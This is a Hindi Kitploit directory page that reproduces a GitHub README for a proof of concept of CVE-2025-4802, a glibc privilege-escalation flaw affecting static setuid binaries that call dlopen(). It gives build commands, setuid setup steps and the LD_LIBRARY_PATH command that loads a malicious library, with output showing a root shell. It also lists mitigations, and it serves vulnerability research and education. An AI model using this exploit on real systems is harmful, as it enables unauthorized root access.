Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-4802-Proof-of-Concept — एक स्थैतिक रूप से संकलित setuid बाइनरी के लिए प्रूफ़ ऑफ़ कॉन्सेप्ट जो LD_LIBRARY_PATH के साथ dlopen के प्रति कमज़ोर है | Kitploit
उपकरण/GitHubGitHub/betim-hodza/cve-2025-4802-proof-of-concept
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHubbetim-hodza/cve-2025-4802-proof-of-concept

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-4802-Proof-of-Concept

एक स्थैतिक रूप से संकलित setuid बाइनरी के लिए प्रूफ़ ऑफ़ कॉन्सेप्ट जो LD_LIBRARY_PATH के साथ dlopen के प्रति कमज़ोर है

रिपॉजिटरी देखें
2157 महीने पहलेअभी तक समीक्षित नहीं

CVE-2025-4802 — साक्ष्य की अवधारणा

⚠️ अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। इस शोषण का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है। दुरुपयोग कानूनों और नियमों का उल्लंघन कर सकता है।

CVE सारांश

फ़ील्डविवरण
CVE IDCVE-2025-4802
प्रभावित सॉफ़्टवेयरGNU C Library (glibc)
प्रभावित संस्करण2.27 – 2.38
कमजोरी का प्रकारअविश्वसनीय LD_LIBRARY_PATH के माध्यम से विशेषाधिकार वृद्धि
आक्रमण वेक्टरस्थानीय

विवरण

GNU C Library (glibc) के संस्करण 2.27 से 2.38 में एक कमजोरी एक हमलावर को स्टैटिकली कम्पाइल्ड setuid बाइनरीज़ में LD_LIBRARY_PATH पर्यावरण चर का शोषण करने की अनुमति देती है जो dlopen() को कॉल करती हैं।

सामान्यतः, डायनेमिक लिंकर setuid प्रोग्रामों के लिए LD_LIBRARY_PATH को सैनिटाइज़ करता है। हालांकि, स्टैटिकली कम्पाइल्ड बाइनरीज़ पूरी तरह से डायनेमिक लिंकर को बायपास कर देती हैं, इसलिए LD_LIBRARY_PATH कभी साफ़ नहीं किया जाता। जब ऐसी बाइनरी dlopen() (सीधे, या अप्रत्यक्ष रूप से setlocale() या getaddrinfo() जैसे NSS फ़ंक्शनों के माध्यम से) को कॉल करती है, तो glibc हमलावर-नियंत्रित LD_LIBRARY_PATH का उपयोग करके शेयर्ड लाइब्रेरीज़ को हल करता है, जिससे उच्च विशेषाधिकारों के साथ मनमाना कोड निष्पादन संभव होता है।

यह कैसे काम करता है

  1. एक स्टैटिकली कम्पाइल्ड setuid-root बाइनरी एक शेयर्ड ऑब्जेक्ट को नाम से लोड करने के लिए dlopen("myso.so", ...) को कॉल करती है (पूर्ण पथ नहीं)।
  2. चूंकि बाइनरी स्टैटिकली लिंक्ड है, डायनेमिक लिंकर (ld-linux.so) कभी नहीं चलता, इसलिए LD_LIBRARY_PATH सैनिटाइज़ नहीं किया जाता।
  3. हमलावर एक दुर्भावनापूर्ण शेयर्ड ऑब्जेक्ट (myso.so) बनाता है जो समान hello() सिंबल एक्सपोर्ट करता है लेकिन रूट शेल स्पॉन करता है।
  4. हमलावर LD_LIBRARY_PATH को उस निर्देशिका की ओर सेट करता है जिसमें दुर्भावनापूर्ण लाइब्रेरी है।
  5. जब setuid बाइनरी चलती है, तो यह वैध लाइब्रेरी के बजाय हमलावर की लाइब्रेरी लोड करती है, रूट के रूप में मनमाना कोड निष्पादित करती है।

रिपॉजिटरी संरचना

root@kitploit:~
.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

पूर्वापेक्षाएँ

  • OS: Fedora 39 (या कोई भी Linux वितरण जिसमें कमजोर glibc हो)
  • glibc संस्करण: 2.27 – 2.38 (ldd --version से जांचें)
  • पैकेज: gcc, make
  • रूट एक्सेस setuid बिट सेट करने के लिए

पुनरुत्पादन चरण

1. सब कुछ बनाएँ

root@kitploit:~
make all

या मैन्युअल रूप से:

root@kitploit:~
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Setuid बिट सेट करें (रूट आवश्यक)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. सामान्य रूप से चलाएँ (सुरक्षित व्यवहार)

root@kitploit:~
./main

अपेक्षित आउटपुट:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. LD_LIBRARY_PATH के साथ शोषण (दुर्भावनापूर्ण व्यवहार)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

अपेक्षित आउटपुट:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

बाइनरी वैध लाइब्रेरी के बजाय evil_library/ से हमलावर का myso.so लोड करती है, जिससे एक रूट शेल स्पॉन होता है।

साक्ष्य की अवधारणा

साक्ष्य की अवधारणा स्क्रीनशॉट

एक वीडियो वॉकथ्रू भी उपलब्ध है: proof_of_concept_video.mp4

शमन

  • glibc को अपडेट करें पैच किए गए संस्करण (> 2.38) पर
  • स्टैटिक लिंकिंग से बचें उन setuid बाइनरीज़ के लिए जो dlopen() का उपयोग करती हैं
  • dlopen() कॉल में केवल लाइब्रेरी नाम के बजाय पूर्ण पथ का उपयोग करें
  • dlopen() को कॉल करने से पहले विशेषाधिकार छोड़ें
  • कंपाइलर/लिंकर हार्डनिंग फ़्लैग का उपयोग करें और जहाँ संभव हो setuid से बचें

संसाधन

  • NVD — CVE-2025-4802
टूल डाउनलोड करें